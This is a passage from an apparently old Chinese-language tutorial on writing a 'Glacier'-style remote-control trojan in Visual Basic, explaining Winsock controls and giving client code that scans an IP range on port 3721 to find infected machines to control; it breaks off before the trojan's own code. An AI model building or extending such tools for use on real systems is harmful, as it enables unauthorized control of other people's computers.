?? 192.htm
字號:
<p>談談遠程控制中關于搜索、控制計算機的功能</p>
<p></p>
<p>相信大家對“冰河”之類的軟件一定都非常的感興趣,這里我們一起來討論一下“冰河”類軟件中關于如何實現搜索、控制遠端計算機(在局域網、或互聯網上搜索那些中了木馬的機器)的功能。</p>
<p>一、 編程原理</p>
<p>客戶端程序:(控制遠端計算機)</p>
<p>在 VB 中,我們可以通過 Winsock 控件的 TCP 協議,通過循環向指定的各個 IP 地地址的指定端口發送連接請示,然后分析返回值,已確定哪些機器是我們可以控制的。</p>
<p>服務器端程序:(也就是木馬)</p>
<p>同樣通過 Winsock 控件的 TCP 協議,通過監視指定的端口,取得相關的信息,分析信息是否為客房端程序發送過來的信息,然后進行一定的處理。</p>
<p>二、 基礎知識</p>
<p>下面介紹一下 Winsock 控件的屬性、方法、事件,這樣大家對程序就會有更深的了解。</p>
<p>Winsock 控件的屬性:</p>
<p>.LocalIP 屬性 返回本地機器的 IP 地址,格式是 IP 地址加點字符串 (xxx.xxx.xxx.xxx)。在設計時是只讀的,而且是不可用的。</p>
<p>.Protocol 屬性 返回或設置 Winsock 控件所使用的協議— 或者是 TCP,或者是 UDP。</p>
<p>.RemotePort 屬性 要連接的遠程計算機的端口。</p>
<p>.RemoteHost 屬性 要連接的遠程計算機的名稱,也可以是 IP 地址。</p>
<p>.LocalHostName 屬性 返回本地機器名。在設計時是只讀的,而且是不可用的。</p>
<p>.State 屬性 返回控件的狀態</p>
<p>State 屬性的設置值是:</p>
<p>常數 值 描述</p>
<p>sckClosed 0 缺省的。關閉</p>
<p>sckOpen 1 打開</p>
<p>sckListening 2 偵聽</p>
<p>sckConnectionPending 3 連接掛起</p>
<p>sckResolvingHost 4 識別主機</p>
<p>sckHostResolved 5 已識別主機</p>
<p>sckConnecting 6 正在連接</p>
<p>sckConnected 7 已連接</p>
<p>sckClosing 8 同級人員正在關閉連接</p>
<p>sckError 9 錯誤</p>
<p></p>
<p></p>
<p>Winsock 控件的方法</p>
<p>.Connect 方法 要求連接到遠程計算機。</p>
<p>.Close 方法 對客戶機和服務器應用程序關閉 TCP 連接或偵聽套接字。</p>
<p>.Listen 方法 創建套接字并將其設置為偵聽模式。該方法僅適用于 TCP 連接。</p>
<p>.GetData 方法 獲取當前的數據塊并將其存儲在變體類型的變量中。</p>
<p>.Accept 方法 僅適用于 TCP 服務器應用程序。在處理 ConnectionRequest 事件時用這個方法接受新連接。</p>
<p></p>
<p>Winsock 控件的事件</p>
<p>.ConnectionRequest 事件 `當遠程計算機請求連接時出現。僅適用于 TCP 服務器應用程序。</p>
<p>.DataArrival 事件 `當新數據到達時出現。</p>
<p>三、 編程實踐</p>
<p>下面我們就以一個實例來說明,如何實現用控制程序(客戶端的程序)在局域網或互聯網上搜索運行了木馬(服務端的程序)的計算機,并對其進行控制(讓該計算機重新啟動)。</p>
<p>(1)客戶端程序:</p>
<p>1、新建一個 VB 工程,添加一個 Winsock 控件(用來實現遠程連接);一個 ProgressBar 控件;一個 List 控件(顯示可以控制的計算機的 IP 地址);一個 Frame 控件,其 Caption 為 “搜索范圍”;七個 Label 控件,其 Name 都為默認值,Caption 分別為 “監聽端口:”,“延遲時間:”,“毫秒”,“起始域:”,“起始地址:”,“終此地址:”,“搜索結果:”;二個 Command 控件,其 Name 都為默認值,Caption 分別為“開始搜索”,“程序結束”,一個 StatusBar 控件(其中涉及的幾個非常規控件,請按下面的步驟加載:工程→部件→Micrsoft Windows Common Controls 5.0;Microsoft Winsock Control 6.0),程序設計界面如圖1所示:(是不是和冰河 V2.2 版中搜索計算機的窗口非常相似呀)</p>
<p>2、現在切換到代碼編輯窗口,依次寫入以下代碼:</p>
<p>注意:在下面程序中我所提到的“木馬”,就是服務器端的程序</p>
<p>①全局變量的聲名</p>
<p>Option Explicit</p>
<p>Dim myip As String `保存本地 IP 地址</p>
<p>Dim IsFind As Boolean `判斷計算機是否可以控制</p>
<p>Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long `5 個臨時變量</p>
<p>②程序初始化設置</p>
<p>Private Sub Form_Load()</p>
<p> myip = Winsock1.LocalIP `返回本地機器的 IP 地址,在設計時是只讀的,而且是不可用的。</p>
<p> Winsock1.Protocol = sckTCPProtocol `使用 TCP 協議</p>
<p> `程序初始化設置</p>
<p> Text1(0).Text = "3721" `為服務器端口值</p>
<p> Text1(1).Text = "2000" `搜索木馬機器的延遲時間</p>
<p> For temp_j = 1 To 3</p>
<p> temp_i = InStr(temp_i + 1, myip, ".")</p>
<p> Next</p>
<p> Text1(2).Text = Left(myip, temp_i - 1) `起始域</p>
<p> Text1(3).Text = "1" `起始地址</p>
<p> Text1(4).Text = "10" `終此地址</p>
<p> StatusBar1.Style = sbrSimple `設置 StatusBar 控件的樣式</p>
<p> StatusBar1.SimpleText = "準備搜索" `設置 StatusBar 顯示的文本</p>
<p>End Sub</p>
<p>③開始搜索中木馬的計算機</p>
<p>Private Sub Command1_Click()</p>
<p>On Error GoTo error1</p>
<p> sum_i = 0 `用來保存搜索到的計算機數目</p>
<p> temp_j = ProgressBar1.Min `取得 ProgressBar 控件的最小值</p>
<p> List1.Enabled = False</p>
<p> List1.Clear `清空列表框</p>
<p> StatusBar1.SimpleText = "開始搜索計算機....."</p>
<p> Command1.Enabled = False</p>
<p> For temp_i = 0 To 4</p>
<p> Text1(temp_i).Enabled = False</p>
<p> Next</p>
<p> `進行一系列的錯誤判斷</p>
<p> If Int(Text1(3)) < 0 Then GoTo error1</p>
<p> If Int(Text1(4)) < 0 Then GoTo error1</p>
<p> If Int(Text1(4)) - Int(Text1(3)) < 0 Then GoTo error1</p>
<p> ProgressBar1.Max = (Int(Text1(4)) - Int(Text1(3)) + 1) * 10 `定義 ProgressBar 控件的最大值,在后面的程序中可以實現"進度條"</p>
<p> For temp_i = Int(Text1(3)) To Int(Text1(4)) `循環開始連接各個 IP 地址</p>
<p> StatusBar1.SimpleText = "正在連接" & Text1(2).Text & "." & temp_i & "....."</p>
<p> IsFind = SearchComputer(Text1(2).Text & "." & temp_i) `通過自定函數 SearchComputer 判斷該 IP 地址,是否有可以控制的計算機</p>
<p> temp_j = temp_j + 10 `定義"進度條"增加的塊數</p>
<p> ProgressBar1.Value = temp_j `增加“進度條"的塊數,以產生動態變化</p>
<p> StatusBar1.SimpleText = "搜索完畢,共找到" & sum_i & "臺計算機可以控制"</p>
<p> Next</p>
<p> Command1.Enabled = True</p>
<p> List1.Enabled = True</p>
<p> For temp_i = 0 To 4</p>
<p> Text1(temp_i).Enabled = True</p>
<p> Next</p>
<p> </p>
<p> Exit Sub</p>
<p>error1:</p>
<p> MsgBox "程序運行錯誤,請重新設置后,再運行本程序!!", vbCritical, "程序錯誤"</p>
<p> For temp_i = 0 To 4</p>
<p> Text1(temp_i).Enabled = True</p>
<p> Next</p>
<p> List1.Clear</p>
<p> Command1.Enabled = True</p>
<p> StatusBar1.SimpleText = "準備搜索"</p>
<p>End Sub</p>
<p>④自定義 SearchComputer 函數,用來判斷指定 IP 地址的計算機是否可以控制</p>
<p>Private Function SearchComputer(ByVal ip As String) As Boolean `自定義函數,判斷指定 IP 地址的計算機是否可以控制</p>
<p>On Error Resume Next `在 Win98 下測試時,有時間會出現“沒有可用的緩沖空間”的錯誤,而在 Win2000 下測試時則不會出現該錯誤,因此為了防止程序出現致命的錯誤,就用了這個 On Error Resume Next</p>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -